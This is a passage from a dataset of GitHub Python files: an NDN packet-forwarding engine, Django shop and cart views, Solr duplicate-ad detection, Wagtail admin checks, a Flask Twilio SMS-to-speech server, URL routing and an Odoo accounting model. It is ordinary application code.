socket.SOCK_STREAM)\n forward.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n #forward.setblocking(False)\n networks = csv.reader(open(\"networks.csv\",\"r\"),delimiter=\",\")\n for row in networks:\n if row[2]==networkName:\n target=row[0]\n port=int(row[1])\n print(\"Forwarding interest to requested destination\")\n forward.connect((target,port))\n message = f'{package.name},{package.type},{package.sender}'.encode('utf-8')\n print(message)\n forward.send(message)\n forward.close()\n\n\ndef contentStore(dataPackage):\n print(\"Storing in content store\")\n name = dataPackage.name\n data = dataPackage.content \n newContent = {name:data}\n print(newContent)\n cache.update(newContent)\n print(\"Content saved\")\n\ndef checkContentStore(package):\n print(\"Checking content store\")\n for name, data in list(cache.items()):\n if package.name == name:\n print(\"Found in contentstore\")\n dataPackage= Data(content=data)\n dataPackage.name=name\n dataPackage.type=\"data\"\n dataPackage.sender=package.sender\n print(package.sender)\n forwardData(dataPackage, package.sender)\n \n\n\ndef checkInterestTable(prefix, sender, content):\n for query, author in pendingInterestTable:\n if prefix == query and author==sender:\n forwardData(content, author)\n\ndef forwardingInformationBase(package):\n print(\"Checking informationbase\")\n exists=False\n for interest, value in list(informationBase.items()):\n if package.name == interest:\n exists=True\n if value=='0':\n forwardInterest(package)\n informationBase[interest]='1'\n elif value=='1':\n print(interest, \"Already forwarded\")\n \n if exists== False:\n name = package.name\n newInterest={name:'1'}\n print(newInterest)\n informationBase.update(newInterest)\n forwardInterest(package)\n\ndef createInterest(input,city):\n #host = socket.gethostbyname(socket.gethostname())\n interest = Interest(type=\"interest\",name=input,sender=city)\n print(\"Created interest\")\n inputHandler(interest,city)\n\n\ndef ClientConsole(city):\n\n #listener()\n print('==================================================')\n print('Your device is now running')\n print('==================================================')\n print('Welcome to the NDN network(input help for help)')\n while True:\n operation = input(\">>>\")\n if operation=='/Local/Sensors':\n print(\"Sensors\")\n elif operation=='/Local/Sensors/SensorWeather':\n createInterest(operation)\n elif operation=='/Local/Sensors/WindSpeed':\n print(\"Windspeed\")\n elif operation == 'Broadcast/Recieve':\n broadcast_reciever.broadcastReceiver()\n elif operation == 'Broadcast/Send':\n broadcast_sender.broadcast(thisUnit.port, city)\n elif operation=='quit':\n break\n elif operation=='listen':\n print(\"Listening\")\n elif operation=='help':\n print('/Sensors: Get list of sensors.')\n print('getf: get file from the server.')\n print('quit: close the connection and quit.')\n elif operation =='data':\n package = Package(type=\"interest\",name=\"/NewYork/Temp\", sender=\"Bob\")\n checkSensors(package=package)\n else:\n createInterest(operation,city) \n print('The client has been logged out.')\n\n \ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", \"--city\", required=True)\n parser.add_argument(\"-p\", \"--port\", required=True)\n args = parser.parse_args()\n city = args.city\n thisUnit.port = int(args.port)\n os.system('python3 listen.py %d &'%thisUnit.port)\n os.system('python3 sensor1.py &')\n console = threading.Thread(target=ClientConsole(city))\n console.start()\n\nif __name__ == '__main__':\n main()\n","repo_name":"PerAndresen/Project3","sub_path":"forward_engine.py","file_name":"forward_engine.py","file_ext":"py","file_size_in_byte":6718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"38034764800","text":"# from django.conf import settings\r\nfrom contextlib import nullcontext\r\nfrom django.contrib import messages\r\nfrom django.core.exceptions import ObjectDoesNotExist\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth.mixins import LoginRequiredMixin\r\nfrom django.shortcuts import render, get_object_or_404\r\nfrom django.views.generic import ListView, DetailView, View\r\nfrom django.shortcuts import redirect\r\nfrom django.utils import timezone\r\nfrom hamcrest import none\r\nfrom .forms import CheckoutForm, RefundForm\r\nfrom .models import Item, OrderItem, Order, BillingAddress, Refund, Category, sizeItems\r\n\r\n\r\n\r\n# Create your views here.\r\nimport random\r\nimport string\r\n# import stripe\r\n# stripe.api_key = settings.STRIPE_SECRET_KEY\r\n\r\n\r\ndef create_ref_code():\r\n return ''.join(random.choices(string.ascii_lowercase + string.digits, k=20))\r\n\r\n\r\n# class PaymentView(View):\r\n# def get(self, *args, **kwargs):\r\n# # order\r\n# order = Order.objects.get(user=self.request.user, ordered=False)\r\n# if order.billing_address:\r\n# context = {\r\n# 'order': order,\r\n# 'DISPLAY_COUPON_FORM': False\r\n# }\r\n# return render(self.request, \"payment.html\", context)\r\n# else:\r\n# messages.warning(\r\n# self.request, \"لم تقم بإضافة عنوان إرسال الفواتير\")\r\n# return redirect(\"core:checkout\")\r\n\r\n# def post(self, *args, **kwargs):\r\n# order = Order.objects.get(user=self.request.user, ordered=False)\r\n# # token = self.request.POST.get('stripeToken')\r\n# amount = int(order.get_total() * 100)\r\n# try:\r\n# # charge = stripe.Charge.create(\r\n# # amount=amount, # cents\r\n# # currency=\"usd\",\r\n# # source=token\r\n# # )\r\n# # create the payment\r\n# payment = Payment()\r\n# # payment.stripe_charge_id = charge['id']\r\n# payment.user = self.request.user\r\n# payment.amount = order.get_total()\r\n# payment.save()\r\n\r\n# # assign the payment to the order\r\n# order.ordered = True\r\n# order.payment = payment\r\n# # TODO : assign ref code\r\n# order.ref_code = create_ref_code()\r\n# order.save()\r\n\r\n# messages.success(self.request, \"تمت إضافة الطلب بنجاح\")\r\n# return redirect(\"/\")\r\n\r\n# # except stripe.error.CardError as e:\r\n# # # Since it's a decline, stripe.error.CardError will be caught\r\n# # body = e.json_body\r\n# # err = body.get('error', {})\r\n# # messages.error(self.request, f\"{err.get('message')}\")\r\n# # return redirect(\"/\")\r\n\r\n# # except stripe.error.RateLimitError as e:\r\n# # # Too many requests made to the API too quickly\r\n# # messages.error(self.request, \"RateLimitError\")\r\n# # return redirect(\"/\")\r\n\r\n# # except stripe.error.InvalidRequestError as e:\r\n# # # معلومات غير صالحة were supplied to Stripe's API\r\n# # messages.error(self.request, \"معلومات غير صالحة\")\r\n# # return redirect(\"/\")\r\n\r\n# # except stripe.error.AuthenticationError as e:\r\n# # # Authentication with Stripe's API failed\r\n# # # (maybe you changed API keys recently)\r\n# # messages.error(self.request, \"ليس لديك أذن الدخول\")\r\n# # return redirect(\"/\")\r\n\r\n# # except stripe.error.APIConnectionError as e:\r\n# # # Network communication with Stripe failed\r\n# # messages.error(self.request, \"خطأ في الشبكة\")\r\n# # return redirect(\"/\")\r\n\r\n# # except stripe.error.StripeError as e:\r\n# # # Display a very generic error to the user, and maybe send\r\n# # # yourself an email\r\n# # messages.error(self.request, \"هناك خطأ ما\")\r\n# # return redirect(\"/\")\r\n\r\n# except Exception as e:\r\n# # send an email to ourselves\r\n# messages.error(self.request, \"حدث خطأ جسيم\")\r\n# return redirect(\"/\")\r\n\r\n\r\nclass HomeView(ListView):\r\n template_name = \"index.html\"\r\n queryset = Item.objects.filter(is_active=True)\r\n context_object_name = 'items'\r\n\r\n\r\nclass OrderSummaryView(LoginRequiredMixin, View):\r\n def get(self, *args, **kwargs):\r\n try:\r\n order = Order.objects.get(user=self.request.user, ordered=False)\r\n \r\n # sizeItemList = sizeItems.objects.filter( is_active=True)\r\n context = {\r\n 'object': order,\r\n # 'sizeItemList': sizeItemList\r\n }\r\n return render(self.request, 'order_summary.html', context)\r\n except ObjectDoesNotExist:\r\n messages.error(self.request, \"ليس لديك طلب نشط\")\r\n return redirect(\"/\")\r\n\r\n\r\nclass ShopView(ListView):\r\n model = Item\r\n paginate_by = 6\r\n template_name = \"shop.html\"\r\n\r\n\r\nclass ItemDetailView(DetailView):\r\n model = Item\r\n template_name = \"product-detail.html\"\r\n # context = {\r\n # 'sizeItems': order\r\n # }\r\n\r\n# class CategoryView(DetailView):\r\n# model = Category\r\n# template_name = \"category.html\"\r\n\r\nclass CategoryView(View):\r\n def get(self, *args, **kwargs):\r\n category = Category.objects.get(slug=self.kwargs['slug'])\r\n item = Item.objects.filter(category=category, is_active=True)\r\n context = {\r\n 'object_list': item,\r\n 'category_title': category,\r\n 'category_description': category.description,\r\n 'category_image': category.image\r\n }\r\n return render(self.request, \"category.html\", context)\r\n\r\n\r\nclass CheckoutView(View):\r\n def get(self, *args, **kwargs):\r\n try:\r\n order = Order.objects.get(user=self.request.user, ordered=False)\r\n form = CheckoutForm()\r\n context = {\r\n 'form': form,\r\n 'order': order\r\n }\r\n # 'couponform': CouponForm(),\r\n # 'DISPLAY_COUPON_FORM': False\r\n return render(self.request, \"checkout.html\", context)\r\n\r\n except ObjectDoesNotExist:\r\n messages.info(self.request, \"ليس لديك طلب نشط\")\r\n return redirect(\"core:checkout\")\r\n\r\n def post(self, *args, **kwargs):\r\n form = CheckoutForm(self.request.POST or None)\r\n try:\r\n order = Order.objects.get(user=self.request.user, ordered=False)\r\n print(self.request.POST)\r\n if form.is_valid():\r\n street_address = form.cleaned_data.get('street_address')\r\n apartment_address = form.cleaned_data.get('apartment_address')\r\n country = form.cleaned_data.get('country')\r\n city = form.cleaned_data.get('city')\r\n phone = form.cleaned_data.get('phone')\r\n gps = form.cleaned_data.get('gps')\r\n # add functionality for these fields\r\n # same_shipping_address = form.cleaned_data.get(\r\n # 'same_shipping_address')\r\n save_info = form.cleaned_data.get('save_info')\r\n # print('yasser : ')\r\n # address_type = form.cleaned_data.get('address_type')\r\n billing_address = BillingAddress(\r\n user=self.request.user,\r\n street_address=street_address,\r\n apartment_address=apartment_address,\r\n country=country,\r\n city=city,\r\n phone=phone,\r\n save_info=save_info,\r\n gps=gps\r\n )\r\n # address_type=address_type,\r\n billing_address.save()\r\n # assign to the order\r\n order.billing_address = billing_address\r\n if billing_address.save_info== True:\r\n order.shipping_address = billing_address\r\n order.ordered = True\r\n order.save()\r\n OrderItem.objects.filter(order__pk=order.pk).update(ordered=True,ordered_date = timezone.now())\r\n\r\n # orderItems = OrderItem.objects.filter(order__pk=order.pk)\r\n # for order_item in orderItems:\r\n # print(order_item.ordered)\r\n # order_item.ordered = True\r\n # order_item.save()\r\n\r\n messages.success(self.request, \"تمت إضافة الطلب بنجاح\")\r\n return redirect(\"/\")\r\n # add redirect to the selected payment option\r\n # if address_type == 'B':\r\n # return redirect('core:payment', address_type='الدفع فاتورة/نقداً')\r\n # elif address_type == 'S':\r\n # return redirect('core:payment', address_type='الدفع عند التوصيل')\r\n # else:\r\n # messages.warning(\r\n # self.request, \" خيار دفع غير صالح\")\r\n # return redirect('core:checkout')\r\n except ObjectDoesNotExist:\r\n messages.error(self.request, \"ليس لديك طلب نشط\")\r\n return redirect(\"core:order-summary\")\r\n\r\n\r\n# def home(request):\r\n# context = {\r\n# 'items': Item.objects.all()\r\n# }\r\n# return render(request, \"index.html\", context)\r\n#\r\n#\r\n# def products(request):\r\n# context = {\r\n# 'items': Item.objects.all()\r\n# }\r\n# return render(request, \"product-detail.html\", context)\r\n#\r\n#\r\n# def shop(request):\r\n# context = {\r\n# 'items': Item.objects.all()\r\n# }\r\n# return render(request, \"shop.html\", context)\r\n\r\n\r\n@login_required(login_url=\"/login/\")\r\ndef add_to_cart(request, slug ):\r\n item = get_object_or_404(Item, slug=slug)\r\n if request.method =='GET':\r\n print('wwwwwwwww')\r\n if request.method =='POST':\r\n print('GGGGGGGGGGGG')\r\n if 'sizeItemss' in request.GET:\r\n id = request.GET.get(\"sizeItemss\")\r\n if int (id) > 0 :\r\n sizeItem= get_object_or_404(sizeItems,item = item ,pk = id)\r\n order_item, created = OrderItem.objects.get_or_create(\r\n item=item,\r\n user=request.user,\r\n ordered=False,\r\n sizeItem= sizeItem\r\n )\r\n else:\r\n print('44sssssssss4')\r\n order_item, created = OrderItem.objects.get_or_create(\r\n item=item,\r\n user=request.user,\r\n ordered=False,\r\n )\r\n else:\r\n print('4444444ggggg')\r\n order_item, created = OrderItem.objects.get_or_create(\r\n item=item,\r\n user=request.user,\r\n ordered=False,\r\n )\r\n # order_item, created = OrderItem.objects.get_or_create(\r\n # item=item,\r\n # user=request.user,\r\n # ordered=False,\r\n # )\r\n\r\n order_qs = Order.objects.filter(user=request.user, ordered=False)\r\n if order_qs.exists():\r\n order = order_qs[0]\r\n if order.items.filter(item__slug=item.slug).exists():\r\n order_item.quantity += 1\r\n order_item.save()\r\n messages.info(request, \"تم تحديث كمية العنصر.\")\r\n return redirect(\"core:order-summary\")\r\n else:\r\n order.items.add(order_item)\r\n messages.info(request, \"تمت إضافة بند إلى عربة التسوق.\")\r\n return redirect(\"core:order-summary\")\r\n else:\r\n ordered_date = timezone.now()\r\n order = Order.objects.create(\r\n user=request.user, ordered_date=ordered_date)\r\n order.items.add(order_item)\r\n messages.info(request, \"تمت إضافة بند إلى عربة التسوق.\")\r\n return redirect(\"core:order-summary\")\r\n\r\n\r\n@login_required(login_url=\"/login/\")\r\ndef remove_from_cart(request, slug):\r\n item = get_object_or_404(Item, slug=slug)\r\n order_qs = Order.objects.filter(\r\n user=request.user,\r\n ordered=False)\r\n if order_qs.exists():\r\n order = order_qs[0]\r\n # check if the order item is in the order\r\n if order.items.filter(item__slug=item.slug).exists():\r\n order_item = OrderItem.objects.filter(\r\n item=item,\r\n user=request.user,\r\n ordered=False\r\n )[0]\r\n order_item.delete()\r\n order.items.remove(order_item)\r\n messages.info(request, \"تمت إزالة العنصر من عربة التسوق الخاصة بك.\")\r\n return redirect(\"core:order-summary\")\r\n else:\r\n # add a message saying the user dosent have an order\r\n messages.info(request, \"العنصر لم يكن في عربة التسوق الخاصة بك.\")\r\n return redirect(\"core:product\", slug=slug)\r\n else:\r\n # add a message saying the user dosent have an order\r\n messages.info(request, \"ليس لديك طلب نشط.\")\r\n return redirect(\"core:product\", slug=slug)\r\n return redirect(\"core:product\", slug=slug)\r\n\r\n\r\n@login_required(login_url=\"/login/\")\r\ndef remove_single_item_from_cart(request, slug):\r\n item = get_object_or_404(Item, slug=slug)\r\n order_qs = Order.objects.filter(\r\n user=request.user,\r\n ordered=False)\r\n if order_qs.exists():\r\n order = order_qs[0]\r\n # check if the order item is in the order\r\n if order.items.filter(item__slug=item.slug).exists():\r\n order_item = OrderItem.objects.filter(\r\n item=item,\r\n user=request.user,\r\n ordered=False\r\n )[0]\r\n if order_item.quantity > 1:\r\n order_item.quantity -= 1\r\n order_item.save()\r\n else:\r\n order_item.delete()\r\n order.items.remove(order_item)\r\n messages.info(request, \" تم تحديث كمية العنصر هذا.\")\r\n return redirect(\"core:order-summary\")\r\n else:\r\n # add a message saying the user dosent have an order\r\n messages.info(request, \"العنصر لم يكن في عربة التسوق الخاصة بك.\")\r\n return redirect(\"core:product\", slug=slug)\r\n else:\r\n # add a message saying the user dosent have an order\r\n messages.info(request, \"ليس لديك طلب نشط.\")\r\n return redirect(\"core:product\", slug=slug)\r\n return redirect(\"core:product\", slug=slug)\r\n\r\n\r\n# def get_coupon(request, code):\r\n# try:\r\n# coupon = Coupon.objects.get(code=code)\r\n# return coupon\r\n# except ObjectDoesNotExist:\r\n# messages.info(request, \"هذه القسيمة غير موجودة\")\r\n# return redirect(\"core:checkout\")\r\n\r\n\r\n# class AddCouponView(View):\r\n# def post(self, *args, **kwargs):\r\n# form = CouponForm(self.request.POST or None)\r\n# if form.is_valid():\r\n# try:\r\n# code = form.cleaned_data.get('code')\r\n# order = Order.objects.get(\r\n# user=self.request.user, ordered=False)\r\n# order.coupon = get_coupon(self.request, code)\r\n# order.save()\r\n# messages.success(self.request, \"تمت إضافة القسيمة بنجاح\")\r\n# return redirect(\"core:checkout\")\r\n\r\n# except ObjectDoesNotExist:\r\n# messages.info(self.request, \"ليس لديك طلب نشط\")\r\n# return redirect(\"core:checkout\")\r\n\r\n\r\nclass RequestRefundView(View):\r\n def get(self, *args, **kwargs):\r\n form = RefundForm()\r\n context = {\r\n 'form': form\r\n }\r\n return render(self.request, \"request_refund.html\", context)\r\n\r\n def post(self, *args, **kwargs):\r\n form = RefundForm(self.request.POST)\r\n if form.is_valid():\r\n ref_code = form.cleaned_data.get('ref_code')\r\n message = form.cleaned_data.get('message')\r\n email = form.cleaned_data.get('email')\r\n # edit the order\r\n try:\r\n order = Order.objects.get(ref_code=ref_code)\r\n order.refund_requested = True\r\n order.save()\r\n\r\n # store the refund\r\n refund = Refund()\r\n refund.order = order\r\n refund.reason = message\r\n refund.email = email\r\n refund.save()\r\n\r\n messages.info(self.request, \"تم استلام طلبك\")\r\n return redirect(\"core:request-refund\")\r\n\r\n except ObjectDoesNotExist:\r\n messages.info(self.request, \"هذا الطلب غير موجود\")\r\n return redirect(\"core:request-refund\")\r\n","repo_name":"fxamar/OceanWind","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"72180091776","text":"from django.core.exceptions import EmptyResultSet\nfrom haystack.inputs import Raw\n\nfrom haystack.query import SearchQuerySet\nfrom django.db.models import Q\n\nfrom ads.models import Ad\nfrom comohay import settings\n\nimport logging\n\n\ndef double_clean(query_fragment, backend):\n \"\"\"\n Provides a mechanism for sanitizing user input before presenting the\n value to the backend.\n\n A basic (override-able) implementation is provided.\n \"\"\"\n if not isinstance(query_fragment, str):\n return query_fragment\n\n words = query_fragment.split()\n cleaned_words = []\n\n for word in words:\n if word in backend.RESERVED_WORDS:\n word = word.replace(word, word.lower())\n\n for char in backend.RESERVED_CHARACTERS:\n word = word.replace(char, \"\\\\\\\\%s\" % char)\n\n cleaned_words.append(word)\n\n return \" \".join(cleaned_words)\n\n\ndef has_duplicates(ad, verbose=False, title_mm=None, description_mm=None):\n \"\"\"\n Returns true if the passed ad has a duplicate in the database using the solr index, otherwise returns false\n\n Arguments\n ad (`Ad`):\n The ad from whom to detect if it has a duplicate\n verbose (`string`):\n Whether to print or no information about the process\n title_mm (`string`):\n minimum should match for the ad title,see https://solr.apache.org/guide/6_6/the-dismax-query-parser.html#TheDisMaxQueryParser-Themm_MinimumShouldMatch_Parameter\n description_mm (`string`):\n minimum should match for the ad description, see https://solr.apache.org/guide/6_6/the-dismax-query-parser.html#TheDisMaxQueryParser-Themm_MinimumShouldMatch_Parameter\n \"\"\"\n\n sqs = SearchQuerySet()\n\n if title_mm is None:\n title_mm = '{}<{}%'.format(settings.TITLE_MIN_WORDS, settings.TITLE_SIMILARITY)\n\n if description_mm is None:\n description_mm = '{}<{}%'.format(settings.DESCRIPTION_MIN_WORDS, settings.DESCRIPTION_SIMILARITY)\n\n clean_desc = double_clean(ad.description, sqs.query.backend)\n clean_desc = clean_desc.replace(\"'\", \"\\\\'\")\n max_desc_len = len(ad.description) + int(len(ad.description) * settings.DESCRIPTION_LENGTH_DIFF)\n\n clean_title = double_clean(ad.title, sqs.query.backend)\n clean_title = clean_title.replace(\"'\", \"\\\\'\")\n max_title_len = len(ad.title) + int(len(ad.title) * settings.TITLE_LENGTH_DIFF)\n\n ids_values = sqs.filter(\n content=Raw(\n \"description_length:[0 TO {}] AND {{!dismax qf=description mm={} v='{}'}} AND title_length:[0 TO {}] AND {{!dismax qf=title mm={} v='{}'}}\".format(\n max_desc_len, title_mm, clean_desc, max_title_len, description_mm, clean_title))\n ).values_list('id')\n\n ids = list(map(lambda x: x[0].split('.')[-1], ids_values))\n\n # TODO: think about adding a date comparison. It can be possible that the ad content is similar but corresponds\n # to other intent of selling another stock of the same product\n\n a = Q(id__in=ids)\n b = Q()\n\n has_contact_info = False\n\n if ad.contact_phone:\n b |= Q(contact_phone=ad.contact_phone)\n has_contact_info = True\n\n if ad.contact_email:\n b |= Q(contact_email=ad.contact_email)\n has_contact_info = True\n\n if ad.external_contact_id and ad.external_source:\n b |= (Q(external_contact_id=ad.external_contact_id) & Q(external_source=ad.external_source))\n has_contact_info = True\n\n if ad.contact_tg:\n b |= Q(contact_tg=ad.contact_tg)\n has_contact_info = True\n\n if has_contact_info:\n # Looking for duplicated ads from the same contact\n duplicates = Ad.objects.filter(a & (b))\n else:\n # Looking for duplicate ads from the same source that don't have contact information\n duplicates = Ad.objects.filter(\n Q(id__in=ids) &\n Q(external_source=ad.external_source) &\n (Q(contact_phone=None) | Q(contact_phone='')) &\n (Q(contact_email=None) | Q(contact_email='')) &\n (Q(external_contact_id=None) | Q(external_contact_id='')) &\n (Q(contact_tg=None) | Q(contact_tg=''))\n )\n\n if duplicates.count() > 0:\n if verbose:\n print('Found {} duplicates ({}) of ad:\"{}\"'.format(duplicates.count(), ','.join(ids), ad.title))\n for ad in duplicates.all():\n print('Title: {}'.format(ad.title))\n print('------------------------------------------------------------------')\n return True\n\n return False\n\n\ndef remove_duplicates(ad, verbose=False):\n \"\"\"\n Ad :param ad:\n \"\"\"\n\n sqs = SearchQuerySet()\n similarity = int(settings.DESCRIPTION_SIMILARITY * 100)\n\n # If the query has less than 4 clauses then it has to match at 100%, otherwise the number computed in similarity\n similarity = '3<{}'.format(similarity)\n\n clean_desc = double_clean(ad.description, sqs.query.backend)\n clean_desc = clean_desc.replace(\"'\", \"\\\\'\")\n max_desc_len = len(ad.description) + int(len(ad.description) * settings.DESCRIPTION_LENGTH_DIFF)\n\n clean_title = double_clean(ad.title, sqs.query.backend)\n clean_title = clean_title.replace(\"'\", \"\\\\'\")\n max_title_len = len(ad.title) + int(len(ad.title) * settings.TITLE_LENGTH_DIFF)\n\n ids_values = sqs.filter(\n content=Raw(\n \"description_length:[0 TO {}] AND {{!dismax qf=description mm={}% v='{}'}} AND title_length:[0 TO {}] AND {{!dismax qf=title mm={}% v='{}'}}\".format(\n max_desc_len, similarity, clean_desc, max_title_len, similarity, clean_title))\n ).values_list('id')\n\n ids = list(map(lambda x: x[0].split('.')[-1], ids_values))\n\n if (ad.contact_phone is not None and ad.contact_phone != '') or (\n ad.contact_email is not None and ad.contact_email != '') or (\n ad.external_contact_id is not None and ad.external_contact_id != ''):\n try:\n # Remove duplicated ads from same contact\n a = Q(id__in=ids)\n b = Q(contact_email=ad.contact_email)\n c = Q(contact_phone=ad.contact_phone)\n d = Q(external_contact_id=ad.external_contact_id) & Q(external_source=ad.external_source)\n\n to_delete = Ad.objects.filter(a & (b | c | d)).exclude(\n external_source=ad.external_source,\n external_id=ad.external_id\n )\n\n if verbose and to_delete.count() > 0:\n print('Removing {} duplicates ({}) of ad:\"{}\"'.format(to_delete.count(), ','.join(ids), ad.title))\n for ad in to_delete.all():\n print('Title: {}'.format(ad.title))\n # print('Description: {}'.format(ad.description))\n\n print('------------------------------------------------------------------')\n\n to_delete.delete()\n\n except Exception as e:\n logging.error(\"Error removing duplicated items: \" + str(e))\n\n else:\n try:\n # Remove duplicated ads from same source\n a = Q(id__in=ids)\n b = Q(external_source=ad.external_source)\n\n to_delete = Ad.objects.filter(a & b).exclude(\n external_source=ad.external_source,\n external_id=ad.external_id\n )\n\n if verbose and to_delete.count() > 0:\n print('Removing {} duplicates ({}) of ad:\"{}\"'.format(to_delete.count(), ','.join(ids), ad.title))\n for ad in to_delete.all():\n print('Title: {}'.format(ad.title))\n # print('Description: {}'.format(ad.description))\n\n print('------------------------------------------------------------------')\n\n to_delete.delete()\n\n except Exception as e:\n logging.error(\"Error removing duplicated items: \" + str(e))\n","repo_name":"daxslab/comohay","sub_path":"ads/services/ad_service.py","file_name":"ad_service.py","file_ext":"py","file_size_in_byte":7797,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"79"} +{"seq_id":"70055763137","text":"from __future__ import absolute_import, unicode_literals\n\nimport os\n\nfrom django.core.checks import Error, Warning, register\n\n\n@register()\ndef css_install_check(app_configs, **kwargs):\n errors = []\n\n css_path = os.path.join(\n os.path.dirname(__file__), 'static', 'wagtailadmin', 'css', 'normalize.css'\n )\n\n if not os.path.isfile(css_path):\n error_hint = \"\"\"\n Most likely you are running a development (non-packaged) copy of\n Wagtail and have not built the static assets -\n see http://docs.wagtail.io/en/latest/contributing/developing.html\n\n File not found: %s\n \"\"\" % css_path\n\n errors.append(\n Warning(\n \"CSS for the Wagtail admin is missing\",\n hint=error_hint,\n id='wagtailadmin.W001',\n )\n )\n return errors\n\n\n@register()\ndef base_form_class_check(app_configs, **kwargs):\n from wagtail.wagtailadmin.forms import WagtailAdminPageForm\n from wagtail.wagtailcore.models import get_page_models\n\n errors = []\n\n for cls in get_page_models():\n if not issubclass(cls.base_form_class, WagtailAdminPageForm):\n errors.append(Error(\n \"{}.base_form_class does not extend WagtailAdminPageForm\".format(\n cls.__name__),\n hint=\"Ensure that {}.{} extends WagtailAdminPageForm\".format(\n cls.base_form_class.__module__,\n cls.base_form_class.__name__),\n obj=cls,\n id='wagtailadmin.E001'))\n\n return errors\n\n\n@register()\ndef get_form_class_check(app_configs, **kwargs):\n from wagtail.wagtailadmin.forms import WagtailAdminPageForm\n from wagtail.wagtailcore.models import get_page_models\n\n errors = []\n\n for cls in get_page_models():\n edit_handler = cls.get_edit_handler()\n if not issubclass(edit_handler.get_form_class(cls), WagtailAdminPageForm):\n errors.append(Error(\n \"{cls}.get_edit_handler().get_form_class({cls}) does not extend WagtailAdminPageForm\".format(\n cls=cls.__name__),\n hint=\"Ensure that the EditHandler for {cls} creates a subclass of WagtailAdminPageForm\".format(\n cls=cls.__name__),\n obj=cls,\n id='wagtailadmin.E002'))\n\n return errors\n","repo_name":"zhl2008/awd-platform","sub_path":"web_hxb2/lib/python3.5/site-packages/wagtail_bak/wagtailadmin/checks.py","file_name":"checks.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","stars":574,"dataset":"github-code","pt":"79"} +{"seq_id":"32408387862","text":"from flask import Flask, request, redirect\nfrom espeak import espeak\nimport twilio.twiml\nimport urllib, pycurl, os\nimport collections\nimport re\nimport subprocess\n\ndef getPhrase(phrase):\n\ttextPhrase = \"\"\n\tparameters = {\"\": phrase}\n\tdata = urllib.urlencode(parameters)\n\ttextPhrase = \"%s%s\" % (textPhrase,data)\n\treturn textPhrase\n\ndef speakSpeechFromText(phrase):\n\tphrase = getPhrase(phrase)\n\tespeak.synth(phrase)\n\tprint(\"Espeak on\")\napp = Flask(__name__)\n@app.route(\"/\", methods=['GET', 'POST'])\ndef hello_monkey():\n \"\"\"Respond to incoming calls with a simple text message.\"\"\"\n sms = request.args.get('Body')\n\t\n if not sms == \"\":\n speakSpeechFromText(sms)\n resp = twilio.twiml.Response()\n return str(resp)\n\nif __name__ == \"__main__\":\n\tprint (\"Hello twilio\")\n\tapp.run( host='0.0.0.0', debug=True, port = 80)\n","repo_name":"ferzeuz/SMStoSpeech","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"2011110721","text":"from django.urls import path, include\nfrom django.contrib import admin\nfrom django.conf.urls.static import static\nfrom django.conf.urls.i18n import i18n_patterns\n\n\nfrom rest_framework_swagger.views import get_swagger_view\nfrom rest_framework_simplejwt.views import (\n TokenVerifyView,\n TokenObtainPairView,\n TokenRefreshView,\n)\n\nfrom main import settings\nfrom main.yasg import urlpatterns as doc_urls\n\n\nschema_view = get_swagger_view(title='Pastebin API')\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('restframework/', include('rest_framework.urls')),\n path('api/token/access/', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n path('api/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n path('api/token/verify/', TokenVerifyView.as_view(), name='token_verify'),\n path('i18n/', include('django.conf.urls.i18n')),\n # APPS\n path('user/', include('apps.users.urls')),\n path('main_page/', include('apps.main_page.urls')),\n path('investor/', include('apps.investor.urls')),\n path('feedback/', include('apps.feedback.urls')),\n path('other/', include('apps.other.urls')),\n path('trade_zone/', include('apps.trade_zone.urls')),\n path('invest_zone/', include('apps.invest_zone.urls')),\n path('food_zone/', include('apps.food_zone.urls')),\n path('fashion_zone/', include('apps.fashion_zone.urls')),\n path('b2b_meeting/', include('apps.b2b_meeting.urls')),\n path('tickets/', include('apps.ticket.urls')),\n path('profile_visit/', include('apps.profile_visit.urls')),\n path('chat/', include('apps.chat.urls')),\n]\n\nurlpatterns += i18n_patterns(\n path('user/', include('apps.users.urls')),\n path('main_page/', include('apps.main_page.urls')),\n path('investor/', include('apps.investor.urls')),\n path('feedback/', include('apps.feedback.urls')),\n path('other/', include('apps.other.urls')),\n path('trade_zone/', include('apps.trade_zone.urls')),\n path('invest_zone/', include('apps.invest_zone.urls')),\n path('fashion_zone/', include('apps.fashion_zone.urls')),\n path('b2b_meeting/', include('apps.b2b_meeting.urls')),\n)\n\nurlpatterns += doc_urls\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"Bilalchik/hit_expo","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"71905215936","text":"from odoo import _, api, fields, models\nfrom odoo.exceptions import UserError\n\n\nclass AccountMove(models.Model):\n _inherit = \"account.move\"\n _description = \"Account Entry\"\n\n asset_id = fields.Many2one(\n comodel_name='account.asset',\n help='Asset')\n schedule_date = fields.Date(\n string='Schedule Date',\n help='Rent Schedule Date.')\n source = fields.Char(\n string='Account Source',\n help='Source from where account move created.')\n\n def assert_balanced(self):\n prec = self.env['decimal.precision'].precision_get('Account')\n if self.ids:\n self._cr.execute(\"\"\"\n SELECT move_id FROM account_move_line WHERE move_id in %s\n GROUP BY move_id HAVING abs(sum(debit) - sum(credit)) > %s\n \"\"\", (tuple(self.ids), 10 ** (-max(5, prec))))\n if self._cr.fetchall():\n raise UserError(_(\"Cannot create unbalanced journal entry.\"))\n return True\n\n\nclass AccountMoveLine(models.Model):\n _inherit = \"account.move.line\"\n\n property_id = fields.Many2one(\n comodel_name='account.asset',\n string='Property',\n help='Property 